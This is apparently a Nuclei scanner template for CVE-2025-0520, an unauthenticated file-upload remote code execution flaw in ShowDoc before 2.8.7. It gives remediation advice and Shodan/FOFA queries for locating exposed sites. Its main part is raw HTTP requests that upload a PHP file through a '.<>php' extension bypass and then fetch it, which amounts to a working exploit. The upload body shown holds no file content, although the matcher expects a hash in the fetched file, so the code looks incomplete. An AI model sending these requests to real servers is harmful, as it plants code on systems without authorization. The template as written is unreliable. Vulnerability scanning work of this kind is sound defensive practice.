id: CVE-2025-0520 info: name: ShowDoc - Remote Code Execution author: pikpikcu,Co5mos,PapButfly severity: critical description: | The open-source API documentation tool ShowDoc had a remote code execution vulnerability before version 2.8.7 This vulnerability allowed unauthenticated remote attackers to upload .php files because the image upload function was not authenticated and the file extension validation was improper. impact: | The attacker does not need to go through login authentication to upload any php backdoor on the affected ShowDoc website and thereby gain server access. remediation: | Please update ShowDoc to version 2.8.7 or higher to fix this vulnerability. reference: - https://nvd.nist.gov/vuln/detail/CVE-2025-0520 - https://www.cnvd.org.cn/flaw/show/CNVD-2020-26585 - https://github.com/star7th/showdoc/pull/1059 - https://github.com/vulhub/vulhub/tree/master/showdoc/CNVD-2020-26585 classification: cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L cve-id: CVE-2025-0520 cwe-id: CWE-434 cvss-score: 9.4 epss-score: 0.02609 epss-percentile: 0.84496 metadata: verified: true vendor: star7th product: showdoc shodan-query: http.title:"ShowDoc" fofa-query: app="ShowDoc" hunter-query: web.title="ShowDoc" zoomeye-query: app:"ShowDoc" tags: showdoc,cve,cve2025,cnvd,cnvd2020,rce,fileupload,intrusive,star7th,vuln,vkev variables: boundary_id: "{{rand_text_alphanumeric(16)}}" file_name: "{{rand_text_alphanumeric(4)}}" secret_str: "{{rand_base(12)}}" http: - raw: - | POST /index.php?s=/home/page/uploadImg HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{boundary_id}} ------WebKitFormBoundary{{boundary_id}} Content-Disposition: form-data; name="editormd-image-file"; filename="{{file_name}}.<>php" Content-Type: text/plain ------WebKitFormBoundary{{boundary_id}}-- - | GET {{upload_path}} HTTP/1.1 Host: {{Hostname}} extractors: - type: json name: raw_url part: body json: - ".url" internal: true - type: dsl name: upload_path dsl: - 'replace_regex(raw_url, "^https?://[^/]+", "")' internal: true matchers: - type: dsl dsl: - "status_code_1 == 200 && status_code_2 == 200" - "contains_all(body_1, 'url', '.php')" - 'contains(body_1, "Public/Uploads") || contains(body_1, "Public\\/Uploads")' - "contains(body_2, '{{md5(secret_str)}}')" condition: and # digest: 4b0a004830460221009b12d77d90d0059ae428a8b7717b027b85f3e0a7cccf6d40295010c4ac519db10221008297ecf1fafbe266822779e912f336c9841642d30f1dc96ef74654dbe27a4baa:922c64590222798bb761d5b6d8e72950